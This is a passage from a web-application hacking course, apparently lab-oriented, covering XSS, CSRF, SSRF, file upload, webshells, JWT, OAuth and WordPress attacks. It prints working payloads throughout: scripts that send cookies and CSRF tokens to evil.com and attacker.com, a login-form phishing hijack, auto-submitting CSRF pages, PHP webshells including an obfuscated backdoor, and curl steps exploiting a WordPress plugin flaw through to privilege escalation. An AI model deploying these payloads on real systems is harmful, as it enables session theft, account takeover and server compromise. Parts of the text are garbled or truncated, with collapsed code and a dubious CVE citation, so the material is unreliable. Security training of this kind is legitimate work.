Always identify the exact context before crafting payload
Attribute contexts allow break-out techniques
Sometimes HTML structure manipulation is necessary
The shortest payload isn't always the goal—reliability is
Lesson 13: Stored XSS
Understanding Stored XSS
Stored XSS (also called persistent XSS) is the most dangerous variant because the malicious script is permanently stored on the target server. Unlike reflected XSS, which requires tricking users into clicking malicious links, stored XSS automatically executes for every user who views the affected page.
The attack chain: An attacker submits a malicious script to the vulnerable website through an input field, comment, or message. The server stores this script in its database (or file system). When other users later view the affected content, the server retrieves the stored script and includes it in the page response. The victims' browsers execute the script, not knowing it's malicious.
Common storage locations:
Database (most common): User comments, posts, profiles
Stored XSS vulnerabilities exist anywhere user-generated content is stored and displayed to others. Understanding common functionality helps identify vulnerable features.
User profile fields:
Display name/bio
Avatar URL
Website/URL field
Signature
Custom fields
Social and communication features:
Comments on posts
Forum posts and replies
Chat messages
Direct messages
Status updates
Reviews and ratings
Content management:
Blog posts
Wiki pages
News articles
Product descriptions
Event descriptions
Media and files:
Image metadata (EXIF)
Document titles
Video descriptions
Playlist names
Example vulnerable application flow (PHP):
// User submits comment$comment = $_POST['comment'];
// Stored in database without sanitization$sql = "INSERT INTO comments (body) VALUES ('$comment')";
mysqli_query($conn, $sql);
// Later, when displaying comments$result = mysqli_query($conn, "SELECT body FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
echo$row['body']; // Vulnerable: directly outputs HTML
}
Detection methodology:
Identify all user input points that store data
Submit a test payload: <script>alert(1)</script>
Navigate to where the stored data is displayed
Check if your payload executes
Test with different contexts (inside tags, attributes, etc.)
The Persistent Nature of Stored XSS
The persistence of stored XSS creates significant risk because a single exploit can affect thousands of users without any additional action from the attacker.
Impact comparison:
Type
Attack Delivery
Number of Victims
Duration
Reflected
Requires victim to click link
Typically one per link
Momentary
Stored
Automatic on page view
All page visitors
Indefinite
DOM-based
Requires victim to click link
Typically one per link
Momentary
Real-world attack scenario:
An attacker posts a comment on a popular blog: <script>fetch('https://evil.com/steal?c='+document.cookie)</script>
The blog has 10,000 daily readers. Each reader who views the comments section has their session cookie stolen. The attacker does not need to phish any individual user—the attack happens automatically.
Stored XSS in web caches:
If the vulnerable content is cached by a CDN or proxy, the malicious script may be served from the cache, affecting users even after the original vulnerability is patched.
Persistence in databases:
Unless the stored payload is detected and removed, it remains in the database indefinitely. Even after a patch, the malicious content must be manually removed from storage.
PortSwigger Lab Walkthrough: Stored XSS in Comment Field
Let's walk through a PortSwigger lab that demonstrates stored XSS in a comment field.
Lab: Stored XSS in blog comments
This lab contains a stored XSS vulnerability in the blog comment functionality. The application does not properly sanitize user-submitted comments before displaying them.
Lab goal: Execute alert(document.cookie) when viewing any blog post that has a comment containing the exploit.
Step 1: Navigate to the blog
Access the lab
Click on any blog post
Scroll to the comments section
Step 2: Identify the comment form
You should see input fields for:
Name
Email
Comment text
Website (optional)
Step 3: Test for stored XSS
Enter the following in the comment field: <script>alert(1)</script>
Fill other fields with test data
Submit the comment
View the blog post again
Check if the alert executes
Step 4: Confirm the vulnerability
If the alert executes, the lab is solved. The comment contains JavaScript that executes when other users view the page.
Step 5: Escalate to cookie theft
Real attacks don't stop at alerts. The actual payload would be:
Combining stored XSS with CSRF creates powerful attack chains. The stored XSS can be used to steal anti-CSRF tokens or perform actions on behalf of victims.
Attack scenario: Stealing anti-CSRF tokens
Many applications use anti-CSRF tokens to prevent cross-site request forgery. A stored XSS vulnerability can be used to read these tokens.
<script>// Read the anti-CSRF token from the pagevartoken=document.getElementById('csrf-token').value;// Send it to the attackerfetch('https://attacker.com/steal?token='+token);</script>
Attack scenario: Performing CSRF actions
Once an attacker has a valid anti-CSRF token (either stolen or by exploiting XSS to make the request directly), they can perform actions on behalf of the victim.
<script>// Make the CSRF request using victim's sessionfetch('/change-email?email=attacker@evil.com',{method: 'POST',credentials: 'include'});</script>
Attack scenario: Stored XSS defacement with CSRF
An attacker stores an XSS payload that modifies forms on the page to phish credentials.
<script>// Wait for page to fully loadsetTimeout(function(){// Find the login formvarforms=document.getElementsByTagName('form');for(vari=0;i<forms.length;i++){if(forms[i].action.includes('/login')){// Modify form to submit to attackerforms[i].action='https://attacker.com/phish';// Add hidden field to capture passwordvarinput=document.createElement('input');input.type='hidden';input.name='password';forms[i].appendChild(input);}}},1000);</script>
Attack scenario: Password change via stored XSS
<script>// Get the anti-CSRF tokenvartoken=document.querySelector('input[name="csrf"]').value;// Construct the password change requestvarbody='csrf='+encodeURIComponent(token);body+='&new_password=AttackerPassword123';// Send the requestfetch('/account/change-password',{method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded'},body: body,credentials: 'include'});</script>
Real-world considerations:
Anti-CSRF tokens may be tied to the session
Some actions may require re-authentication
Network-level protections may block external requests
Some applications use SameSite cookies
Lesson 14: DOM-Based XSS
Understanding DOM-Based XSS
DOM-based XSS is a variant where the vulnerability exists entirely on the client side. The server receives an HTTP request containing user input, but does not include the malicious data in its response. Instead, client-side JavaScript processes the input and writes it to a dangerous sink without proper sanitization.
The name "DOM-based" reflects that the vulnerability is in the Document Object Model (DOM) manipulation code. The browser's DOM processing is where the malicious script is executed.
Classic vs DOM-based comparison:
Aspect
Classic XSS
DOM-Based XSS
Server involvement
Reflects malicious input in response
May not reflect input at all
Detection (server-side)
Input appears in HTTP response
No server-side evidence
Exploitation delivery
Via server response
Via URL fragment or client-side input
Analysis location
HTTP responses
JavaScript code
Example vulnerable page:
<!DOCTYPE html><html><head><title>Search</title></head><body><h1>Search Results</h1><divid="results"></div><script>// Get the search term from URL parametervarparams=newURLSearchParams(window.location.search);varterm=params.get('q');// Display the search termdocument.getElementById('results').innerHTML='You searched for: '+term;</script></body></html>
When a user visits page.html?q=<script>alert(1)</script>, the server sends the page without the script. The client-side JavaScript reads the q parameter and inserts it into the DOM using innerHTML, causing script execution.
JavaScript Reads URL Params and Writes to Document
The core pattern of DOM-based XSS involves JavaScript reading user input from the URL and using it in dangerous DOM operations.
Browser DevTools: Step through JavaScript execution
Burp Suite Professional: JavaScript analysis features
Retire.js: Identify vulnerable JS libraries
Access the DOM via console to test payloads
Source and Sink Analysis
Understanding the source-to-sink data flow is essential for identifying and exploiting DOM-based XSS.
Common sources (where attacker-controlled data comes from):
// URL componentswindow.location.searchwindow.location.hashdocument.URLdocument.documentURIdocument.baseURI// Referrerdocument.referrer// StoragelocalStorage.getItem('key')sessionStorage.getItem('key')// Messageswindow.postMessage// WebSocket// etc.
Common sinks (where dangerous operations occur):
// Direct HTML manipulationelement.innerHTML=dataelement.outerHTML=datadocument.write(data)document.writeln(data)// Event handlerselement.setAttribute('onclick',data)element.setAttribute('onerror',data)// JavaScript executioneval(data)setTimeout(data,delay)setInterval(data,delay)Function(data)()// Script executionvarscript=document.createElement('script');script.textContent=data;element.appendChild(script);// jQuery (various sinks)$(selector).html(data)$(selector).append(data)$(selector).prepend(data)
Safe sinks (output without execution):
// Text content (safe)element.textContent=dataelement.innerText=data// Value property (safe)input.value=data// CSS (relatively safe but can cause issues)element.style.property=data
Finding DOM XSS in JavaScript Code
Static analysis of JavaScript code can reveal DOM-based XSS vulnerabilities before dynamic testing.
Identify all JavaScript files loaded by the application
Search for source patterns (location, document, storage)
For each source, trace how the data flows
Identify if the data reaches a sink
Determine if sanitization occurs between source and sink
Example Vulnerable JavaScript Code
Let's examine complete examples of vulnerable JavaScript to understand the patterns.
Example 1: Simple URL parameter to innerHTML
// This code is vulnerable to DOM XSSfunctionshowSearchResults(){// Get parameter from URLconsturlParams=newURLSearchParams(window.location.search);constsearchTerm=urlParams.get('search');// Display without sanitizationdocument.getElementById('results').innerHTML='<h2>Results for: '+searchTerm+'</h2>';}
Exploitation:
page.html?search=<img src=x onerror=alert(1)>
Example 2: Fragment-based injection
// This code is vulnerable to fragment-based DOM XSSfunctiondisplayTab(){// Get tab name from fragmentconsttab=window.location.hash.substring(1);// Display using document.writedocument.write('<div class="tab">'+tab+'</div>');}
Exploitation:
page.html#<script>alert(1)</script>
Example 3: Using location.search directly
// Vulnerable pattern from jQuery Mobile$(document).ready(function(){varpage=$.url().param('page');$('#content').html(page);});
Exploitation:
?page=<img src=x onerror=alert(1)>
Example 4: Multiple sources
// Vulnerable to multiple source injectionfunctioninit(){// Can be controlled via URL or localStoragevarconfig=localStorage.getItem('app-config')||window.location.search;// Dangerous sinkdocument.getElementById('app').innerHTML=config;}
Example 5: Complex flow with weak sanitization
// This code attempts to sanitize but failsfunctiondisplayName(){varname=window.location.search.split('name=')[1];// Basic HTML entity encoding (incomplete)name=name.replace(/</g,'<').replace(/>/g,'>');// But attribute context still vulnerabledocument.getElementById('welcome').innerHTML="<span class='name'>"+name+"</span>";}
// Safe: using textContent instead of innerHTMLfunctiondisplayName(){varname=window.location.search.split('name=')[1];document.getElementById('welcome').textContent=name;}
Lesson 15: Cross-Site Request Forgery (CSRF)
What is CSRF?
Cross-Site Request Forgery (CSRF) is an attack that forces an authenticated user's browser to send HTTP requests to a target website without the user's knowledge or consent. Unlike XSS, which executes malicious code in the victim's browser, CSRF exploits the trust a website has in the user's browser.
The fundamental assumption behind CSRF is that a website trusts all requests coming from a user's browser, regardless of how the request was initiated. If a user is logged into their bank and visits a malicious website, that malicious site can force the browser to send requests to the bank—transferring money, changing settings, or performing other actions.
Understanding the distinction between CSRF and XSS is critical for both attack and defense.
XSS allows code execution:
<!-- XSS: Script executes in victim's browser --><script>// This code RUNS in the victim's browserfetch('/api/delete-account',{method: 'POST'});</script>
XSS executes JavaScript in the victim's context; CSRF only makes the browser send HTTP requests
XSS can read data from the page and exfiltrate it; CSRF cannot read responses (due to Same-Origin Policy)
XSS bypasses CSRF protections because the request appears to come from the legitimate site
CSRF requires the victim to have an active session; XSS works with or without sessions
Combined attack:
<!-- XSS used to bypass CSRF protection --><script>// Read the anti-CSRF token from the pagevartoken=document.getElementById('csrf-token').value;// Send CSRF request with the tokenfetch('/api/change-email',{method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded'},body: 'csrf='+token+'&email=attacker@evil.com'});</script>
Anti-CSRF Tokens: How They Work
Anti-CSRF tokens are the primary defense against CSRF attacks. They work by adding a secret value to forms and verifying it on the server side.
Token generation and verification flow:
1. Server generates unique token for session
token = generateSecureRandomToken()
store token in session
embed token in form as hidden field
2. User receives form with token
<form action="/update-email" method="POST">
<input type="hidden" name="csrf_token" value="abc123xyz">
<input type="email" name="email">
<button type="submit">Update</button>
</form>
3. User submits form with token
POST /update-email
csrf_token=abc123xyz&email=new@example.com
4. Server verifies token
if (submitted_token == session_token) {
// Process request
} else {
// Reject request
}
<formaction="/update-profile" method="POST"><inputtype="hidden"
name="csrf_token"
value="{{ session.csrf_token }}"><!-- Other form fields --></form>
Bypassing Anti-CSRF Tokens
While anti-CSRF tokens are effective when properly implemented, several bypass techniques exist.
Token leakage via XSS:
<script>// XSS can read the token from the pagevartoken=document.querySelector('input[name="csrf_token"]').value;fetch('https://attacker.com/steal?token='+token);</script>
If XSS exists, CSRF protections can be bypassed because the malicious script can read the token.
Token prediction:
If tokens are not sufficiently random or have patterns, attackers might predict them.
# Vulnerable: Predictable tokenstoken=str(session['user_id']) +'-'+str(timestamp)
# Attacker can generate valid tokens for other users
# Vulnerable: GET requests change state@app.route('/api/transfer')deftransfer():
# CSRF token only checked on POST, but this is GETamount=request.args.get('amount')
account=request.args.get('to')
# Process transfer - no token check!
CORS misconfiguration:
# Vulnerable: CORS allows cross-origin requests@app.route('/api/transfer', methods=['POST'])deftransfer():
# Any origin can make requestsresponse.headers['Access-Control-Allow-Origin'] ='*'# Process transfer
Double Submit technique bypass:
Some applications use double-submit patterns where the token is sent both as a cookie and as a request parameter. If the application doesn't validate the cookie value, an attacker can set the cookie via JavaScript.
GET vs POST CSRF: URL-Based vs Form-Based
CSRF attacks can be delivered through HTTP GET or POST requests, depending on how the target application processes requests.
GET CSRF:
If a application uses GET requests for state-changing operations, the attack is trivially simple.
<!-- Trivial GET CSRF via image tag --><imgsrc="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0"><!-- Via script tag --><scriptsrc="https://bank.com/transfer?to=attacker&amount=10000"></script><!-- Via link --><ahref="https://bank.com/transfer?to=attacker&amount=10000">Click here</a>
Proper implementation (GET should not modify state):
# Correct: GET only retrieves data@app.route('/api/account/balance', methods=['GET'])defget_balance():
return {'balance': current_user.balance}
# Wrong: GET modifies state@app.route('/api/transfer', methods=['GET'])deftransfer():
# Never do this!process_transfer(request.args.get('to'), request.args.get('amount'))
The server must be configured to accept form-encoded data and parse it as JSON.
CORS misconfiguration exploitation:
# Vulnerable CORS configuration@app.route('/api/transfer', methods=['POST'])deftransfer():
response.headers['Access-Control-Allow-Origin'] ='*'response.headers['Access-Control-Allow-Credentials'] ='true'# Process request
An attacker can make requests from their domain if the API allows credentials with wildcard origin.
Real Example: Bank Transfer CSRF
Let's examine a realistic CSRF attack against a banking application.
Vulnerable banking application:
# Vulnerable Flask applicationfromflaskimportFlask, session, request, redirectapp=Flask(__name__)
app.secret_key='secret'@app.route('/login')deflogin():
# Simple authenticationsession['user'] =request.form.get('username')
return'Logged in as '+session['user']
@app.route('/transfer')deftransfer():
# Vulnerable: No CSRF protectionto_user=request.form.get('to')
amount=request.form.get('amount')
# Process transferreturnf'Transferred {amount} to {to_user}'@app.route('/')defindex():
if'user'insession:
returnf'<html><body>Welcome {session["user"]}</body></html>'return'Please login'
Attack page:
<!DOCTYPE html><html><head><title>You Won a Prize!</title></head><body><h1>Congratulations! You have won a $500 Amazon gift card.</h1><p>Click below to claim:</p><formid="attack" action="https://bank.com/transfer" method="POST"><inputtype="hidden" name="to" value="attacker"><inputtype="hidden" name="amount" value="5000"></form><script>// Auto-submit when page loadsdocument.getElementById('attack').submit();</script></body></html>
Attack flow:
Attacker creates malicious page
Victim is logged into bank.com
Victim visits attacker's page
Form auto-submits to bank.com/transfer
Browser includes bank.com session cookie
Bank processes transfer as legitimate
Real-world considerations:
User must be logged into the target site
User must visit the malicious page
Transfer may require confirmation
Bank may have additional verification
Attack is more convincing with proper social engineering
Find and exploit a reflected XSS vulnerability in the PortSwigger Academy "Reflected XSS where nothing is reflected" lab or DVWA (Damn Vulnerable Web Application).
Environment Setup
For this exercise, you will need:
Burp Suite Community or Professional
A browser configured to use Burp proxy
Access to PortSwigger Academy (free tier available) or DVWA installed locally
In Burp Suite, use the Cookie Editor extension or manually set the Cookie header:
Request:
GET /account HTTP/1.1
Host: target.com
Cookie: session=abc123xyz
You are now authenticated as the victim user.
Why this works:
The comment is stored in the database
When any user views the blog post, the server retrieves the comment
The comment (containing our script) is included in the page HTML
The user's browser parses the HTML, sees the script tag
The script executes, sending the cookie to attacker.com
The attacker uses the cookie to hijack the session
Mitigation (for reference):
The application should sanitize HTML before storage:
// Using HTML Purifier libraryrequire_once'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = newHTMLPurifier($config);
$clean_comment = $purifier->purify($dirty_comment);
Summary Table
Vulnerability
Type
Delivery Method
Server Storage
Detection
Impact
Reflected XSS
Client-side
URL parameter
No
Reflected in response
Cookie theft, defacement, keylogging
Stored XSS
Server-side
Form submission
Yes (database)
View stored content
Mass cookie theft, persistent malware
DOM-based XSS
Client-side
URL fragment/hash
No
JavaScript analysis
Cookie theft, page manipulation
CSRF
Client-side
Malicious page
No
Request analysis
Unauthorized actions, account takeover
XSS Detection Payloads Quick Reference
Context
Payload
Notes
HTML body
<script>alert(1)</script>
Standard script injection
Inside tag
</tag><script>alert(1)</script>
Close tag first
Attribute
" onload="alert(1)
Break out of attribute
Event handler
<img src=x onerror=alert(1)>
Trigger on error
JavaScript
';alert(1);//
Escape string context
SVG
<svg onload=alert(1)>
SVG element with onload
Encoded
%3Cscript%3Ealert(1)%3C/script%3E
URL encode bypass
CSRF Prevention Methods
Method
Implementation
Bypass via XSS?
Anti-CSRF token
Server-generated random token
Yes, if XSS exists
SameSite cookies
Cookie attribute
No (but can combine with XSS)
Double-submit
Token in cookie AND parameter
Sometimes
Custom header
Verify X-Requested-With
No (CORS blocks)
Referer check
Verify HTTP Referer
No (can be spoofed partially)
Key Differences: XSS vs CSRF
Aspect
XSS
CSRF
Executes code
Yes (JavaScript)
No (just triggers requests)
Can read page content
Yes
No (SOP blocks response reading)
Requires active session
No
Yes
Primary defense
Output encoding, input validation
Anti-CSRF tokens
Attacker's goal
Execute code in victim's browser
Force victim to send requests
Next Module Preview: SSRF, Path Traversal, LFI/RFI
In Module 4, we will explore server-side vulnerabilities that target the server's processing of user input.
Server-Side Request Forgery (SSRF): Exploiting applications that make HTTP requests based on user input. We'll cover:
SSRF fundamentals and impact
Port scanning via SSRF
Bypassing blacklist filters
Cloud metadata service exploitation
Lab: Exploiting SSRF in AWS EC2
Path Traversal: Manipulating file paths to access files outside the intended directory. We'll cover:
Directory traversal fundamentals
Null byte injection bypasses
Unicode normalization attacks
Double encoding bypasses
Lab: Reading sensitive system files
Local File Inclusion (LFI) and Remote File Inclusion (RFI): Including files in the application's execution context. We'll cover:
LFI vs RFI distinction
Log poisoning for RCE
PHP wrapper exploitation
Python/JAVA include vulnerabilities
Lab: LFI to RCE via log poisoning
These vulnerabilities represent critical attack vectors that can lead to complete server compromise, and understanding them is essential for comprehensive web application security testing.
Additional Resources
Learning Platforms:
PortSwigger Academy (portswigger.net/web-security)
OWASP WebGoat
DVWA (Damn Vulnerable Web Application)
HackTheBox
Tools:
Burp Suite Professional
OWASP ZAP
XSStrike (XSS detection)
Amass (subdomain enumeration)
Reference Materials:
OWASP XSS Prevention Cheat Sheet
PortSwigger XSS Research
Mozilla Developer Network (MDN) JavaScript documentation
HTML5 Security Cheat Sheet
Module 3 completed. Continue to Module 4: SSRF, Path Traversal, and File Inclusion vulnerabilities.
Module 4: SSRF, Path Traversal, LFI/RFI, XXE
Lesson 16: Server-Side Request Forgery (SSRF)
What is SSRF?
Server-Side Request Forgery occurs when a web application fetches user-supplied URLs without proper validation. The server acts as a proxy — requests originate from the server's network position, not the attacker's.
Why it matters:
Can reach internal services unreachable from the internet
AWS metadata at 169.254.169.254
Internal databases, Redis, Memcached
Port scanning internal network from the server's perspective
Lab description: Product stock checker fetches data from an internal API at http://localhost:8080. Goal: access the admin panel at http://localhost:8080/admin.
Step 1: Find the SSRF endpoint
Stock check feature at /product/stock — POST parameter stockApi:
POST /product/stock
stockApi=http://localhost:8080/admin/delete?productId=1
Step 2: Test basic SSRF
POST /product/stock
stockApi=http://localhost:8080/admin
→ Response: "Invalid product ID" (admin panel exists but needs different access)
Step 3: Enumerate admin endpoints
POST /product/stock
stockApi=http://localhost:8080/admin/
→ 401 Unauthorized (requires auth)
POST /product/stock
stockApi=http://localhost:8080/admin/delete?productId=1
→ 200 OK with "Product deleted" or similar
Step 4: Extract admin credentials
POST /product/stock
stockApi=http://localhost:8080/admin/users
→ Lists user IDs and password hashes
POST /product/stock
stockApi=http://localhost:8080/api/v1/users
→ Alternative API endpoint
Automatically inserts Collaborator payloads into all requests
Any out-of-band interaction gets flagged
Detection via time delays:
http://169.254.169.254/latest/meta-data/ # If slow response → SSRF confirmed
Lesson 17: Path Traversal
What is Path Traversal?
Path traversal (also called directory traversal) allows attackers to escape the intended directory and access files outside the web root. It occurs when user input is used in file paths without proper sanitization.
LFI occurs when a PHP (or similar) application includes a file based on user input without proper sanitization. Unlike RFI, the file is local to the server.
Next Module: Command Injection, File Upload vulnerabilities, and IDOR. We'll cover webshell deployment and privilege escalation via direct object references.
Command injection occurs when user input is passed to system shell functions (system(), exec(), shell_exec(), popen(), proc_open()) without proper sanitization. The attacker injects shell metacharacters to execute arbitrary commands.
# SAFE: Don't use shell=Trueimportsubprocessresult=subprocess.run(["ping", "-c", "3", host], capture_output=True, text=True)
Lesson 22: File Upload Vulnerabilities
What is File Upload?
Web applications that accept file uploads (profile pictures, document uploads, attachments) without proper validation are a primary attack surface. A successful upload can lead to RCE.
If the server reads EXIF metadata for display but doesn't sanitize output, the PHP code in EXIF gets executed.
Lesson 23: Webshell Basics
What is a Webshell?
A webshell is a piece of code (PHP/ASP/JSP) that provides command execution capabilities through a web interface. After uploading, the attacker accesses it via HTTP to run commands.
Basic PHP Webshell
One-liner:
<?phpsystem($_GET['cmd']); ?>
POST variant (less visible in logs):
<?phpeval($_POST['x']); ?>
Usage:
GET /uploads/shell.php?cmd=whoami
POST /uploads/shell.php with body: x=whoami
<?php# web keel
@error_reporting(0);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("max_execution_time",0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("memory_limit",-1);
if(isset($_REQUEST["z1"])){
$c=@$_REQUEST["z2"];
$k=@$_REQUEST["z3"];
$d=@$_REQUEST["z4"];
$cf=array($c,$k,$d);
foreach($cfas$resource){
$resource(@base64_decode($resource));
}
}
?>
Lesson 24: Race Conditions
What is a Race Condition?
A race condition (TOCTOU — Time-of-check to Time-of-use) occurs when the security check and the operation use the same resource at different times. An attacker can exploit the gap between check and use.
Classic scenario:
Upload check: file looks clean
Between check and save: file is swapped
File saved: malicious version stored
Race Condition in File Upload
<?php// Step 1: Check if file is safeif(is_uploaded_file($_FILES['file']['tmp_name'])) {
// Step 2: Some processing time here// Step 3: Save filemove_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $_FILES['file']['name']);
}
?>
Between step 1 and 3, attacker could swap the file.
# 100 concurrent requests to endpoint with rate limit of 10/minute# Each request appears to come from different session
OTP race condition:
# OTP verified, then reused# Attacker sends 1000 OTP guesses simultaneously# One will match before the server invalidates it
Lesson 25: IDOR (Insecure Direct Object Reference)
What is IDOR?
IDOR occurs when an application exposes internal object references (IDs, filenames, keys) and doesn't verify the user's authorization to access that object. The reference is direct, not through a proper access control mechanism.
Why it matters:
Horizontal privilege escalation (access other users' data)
Vertical privilege escalation (access admin data)
Found in almost every web application
High impact: GDPR violations, financial exposure
Examples
URL-based IDOR:
GET /invoice?num=1001 → Your invoice
GET /invoice?num=1002 → Another user's invoice
API-based IDOR:
GET /api/profile/1 → Your profile
GET /api/profile/2 → Another user's profile
Cookie-based IDOR:
Cookie: user_id=1 → Your account
Cookie: user_id=2 → Another user's account
Filename-based IDOR:
GET /download?file=report.pdf → Your report
GET /download?file=../../etc/passwd → System file
Something you know — Password, PIN, security question
Something you have — Phone (OTP), hardware token, smart card
Something you are — Fingerprint, face, iris
Best practice: Multi-factor (2FA/MFA) combining two different factors.
Authentication vs Authorization
Authentication: Who are you? (Login)
Authorization: What can you access? (Permissions)
IDOR is an authorization flaw. This module is about authentication flaws.
Common Authentication Mechanisms
Session-based (traditional):
1. User submits credentials
2. Server validates → creates session record
3. Server returns session ID (Set-Cookie)
4. Client sends session ID with every request
5. Server looks up session → identifies user
Token-based (JWT):
1. User submits credentials
2. Server validates → generates signed token
3. Server returns token
4. Client sends token with every request
5. Server verifies signature → identifies user
API Key-based:
1. User includes API key in header: X-API-Key: abc123
2. Server validates key → identifies user
Common Password Storage
Insecure:
// DANGEROUS: Plain text or MD5$password = $_POST['password'];
Better:
// MD5 (still bad — rainbow tables)$hash = md5($password);
# DANGEROUS: Token is user ID + timestamptoken=hashlib.md5(f"{user_id}{datetime.now().timestamp()}".encode())
# Attacker can generate valid tokens for any user
2. Token not bound to user session:
User A requests reset for user B
Token sent to user A's email
But token works for user B's account
importjwt# Original token (user, not admin)original="eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6InBpbmUiLCJyb2xlIjoidXNlciJ9.abc123"# With public key as secret (key confusion attack)modified=jwt.encode(
{"user_id": 1, "username": "peter", "role": "admin"},
open("publickey.pem").read(),
algorithm="HS256"
)
GET /private HTTP/1.1
Referer: http://target.com/private?session=abc123
If target links to external site, session ID leaks via Referer.
4. URL parameter leakage:
http://target.com/dashboard?session=abc123
If shared, logged, or cached, session ID is exposed.
5. Cross-Site Scripting (XSS) on related domain:
blog.target.com has XSS
Attacker steals session cookie from main app
Session Token Patterns
Weak tokens:
# Sequential
session=1000
session=1001
# Time-based predictable
session=1640995200 # Unix timestamp
# User info encoded (no signature)
session=base64("user_id=1&role=admin")
Strong tokens:
session=abc123def456... # 256-bit random
# Cryptographically random, non-guessable
Clickjacking
Attack: Invisible iframe overlaid on button.
<iframesrc="http://target.com/transfer?to=attacker&amount=10000" style="opacity:0"><buttonstyle="position:absolute;top:500px;left:500px">Click to win!</button>
Victim clicks "win" button but actually clicks transfer button.
Protection:
X-Frame-Options: DENY # or SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'
Real-World: Facebook Session Hijacking
CVE-2011-0447:
Facebook used MD5 of timestamp + secret for session tokens
Predictable → Session hijacking possible
Fixed by switching to cryptographically random tokens
Lesson 30: OAuth 2.0 Vulnerabilities
OAuth 2.0 Flow
Authorization Code Grant (the safe one):
1. User clicks "Login with Google"
2. Redirect to Google: https://google.com/oauth/authorize?client_id=...&redirect_uri=...&scope=email
3. User approves
4. Google redirects back: https://app.com/callback?code=ABC123
5. App exchanges code for token: POST to Google token endpoint
6. Google returns access_token + refresh_token
7. App uses access_token to fetch user info
OAuth Vulnerabilities
1. Redirect URI Validation:
# VULNERABLE: Only checks if contains expected domainif"target.com"inredirect_uri:
# approve
Bypass: http://target.com.evil.com
2. State Parameter Not Used:
Without state parameter, CSRF is possible.
1. Attacker initiates OAuth flow, gets auth URL
2. Tricks victim into clicking auth URL
3. Victim authenticates, redirected to attacker's callback
4. Attacker gets auth code, exchanges for token
3. Scope Escalation:
# User approves: read email only
# But attacker modifies scope to: read email + publish posts
4. Token Leakage via Referer:
# If redirect_uri is on HTTPS but links to HTTP
# Referer header leaks token
OAuth Lab: PortSwigger
Lab: OAuth account hijotiation via redirect URI bypass.
Step 1: Analyze the OAuth flow
Visit /auth?client_id=...&redirect_uri=...
Step 2: Test redirect_uri validation
GET /auth?client_id=abc&redirect_uri=http://evil.com
→ Rejected
GET /auth?client_id=abc&redirect_uri=http://target.com.evil.com
→ Redirects to evil.com
# In Burp, intercept any request# Replace Cookie header with stolen cookie# Forward → authenticated as admin
Step 6: Full account takeover
Change admin password
Add new admin account
Extract user data
Summary Table
Lesson
Topic
Key Technique
Impact
26
Auth Fundamentals
3 factors, session vs token
Understanding base
27
Broken Auth
Brute force, reset flaws
Account takeover
28
JWT Attacks
None algorithm, key confusion
Privilege escalation
29
Session Management
Fixation, hijacking, clickjacking
Session theft
30
OAuth Vulnerabilities
URI bypass, state CSRF
Account linking hijack
Quick Reference: JWT Attack Cheat Sheet
Attack
Payload
Fix
Algorithm none
{"alg":"none"}
Verify signature always
Key confusion
Use RS256 public key as HS256 secret
Use correct algorithm per key type
Weak secret
Crack with wordlist
Strong random secret
kid injection
{"kid":"../../etc/passwd"}
Sanitize kid, use jku
jku injection
{"jku":"http://evil.com/jwk"}
Whitelist jku URLs
kty omission
{"kty":"oct"} without alg
Validate kty matches alg
Next Module: WordPress Exploitation — the most common CMS in the world. We'll cover plugin vulnerabilities, theme exploits, authentication bypass, and real-world CTF examples.
# 1. Enumerate plugins
wpscan --url http://target.com --enumerate p --plugins-detection aggressive
# 2. Check each for known vulnerabilities# https://wpscan.com/plugin/{plugin_name}# 3. If unauthenticated RCE found:# Upload shell via the vulnerability# 4. If authenticated (subscriber+):# Find author/contributor account# Brute force credentials# Use stored XSS + CSRF chain
Next Module: Capstone CTF Walkthroughs — We'll walk through two full attack chains: a bug bounty writeup and a HackTheBox web challenge. Real targets, real exploits.
Target:http://target-corp.com — A WordPress corporate site
Goal: Compromise the web server, then pivot to Active Directory domain admin
Time to complete: 2-4 hours
Tools needed: Burp Suite, wpscan, nmap, Metasploit, PowerShell
22/tcp open ssh OpenSSH 7.4
80/tcp open http Apache 2.4.6
443/tcp open ssl/http Apache 2.4.6
3306/tcp open mysql MySQL 5.7.32
8080/tcp open http Apache 2.4.6 (proxy)
Step 2: WordPress discovery
curl -s http://target-corp.com | grep -i 'WordPress'# <meta name="generator" content="WordPress 6.2.2">
curl -s http://target-corp.com/readme.html | head -10
# Version 6.2.2
Plugins: wp-file-manager version 1.2 (VULNERABLE — CVE-2020-25213)
Theme: twentytwentythree
Phase 2: Initial Access via File Manager
Step 1: Verify File Manager vulnerability
curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"# Returns JSON — endpoint is accessible
Step 2: Test command execution
curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=id&target=NONE"# Response: {"error":"no such file or directory"}# But we see it's processing cmd parameter
curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=sudo+-l"# User apache may run the following commands on localhost:# (ALL) NOPASSWD: /usr/bin/systemctl
Step 4: GTFO bins privilege escalation
curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=sudo+systemctl+status+httpd"# Works — we can run systemctl as root
# Check backup.sh
curl -s "http://10.10.11.15/public?album=../../usr/local/scripts/backup.sh"# It copies /var/www to /backup# Overwrite with malicious backup
Objective: Walk through the complete HTB Photo Blog attack chain independently.
Steps to complete:
Enumerate the web application
Register and explore upload functionality
Find SQL injection in album parameter
Dump credentials, crack admin hash
Exploit LFI in album parameter
RCE via log poisoning
Privilege escalate via node SUID
Capture both flags
Expected deliverable: A writeup with screenshots and commands for each step.
Quick Reference: CTF/Web Challenge Checklist
□ Port scan (nmap)
□ Web enumeration (curl, dirb, gobuster)
□ Technology detection (wappalyzer, whatweb)
□ Register account if possible
□ Test all parameters for SQLi
□ Test all parameters for XSS
□ Test all parameters for IDOR
□ Test file upload functionality
□ Test LFI via all file path parameters
□ Check for SSRF in URL parameters
□ Enumerate internal services if LFI/SSRF found
□ Escalate privileges
□ Capture flags
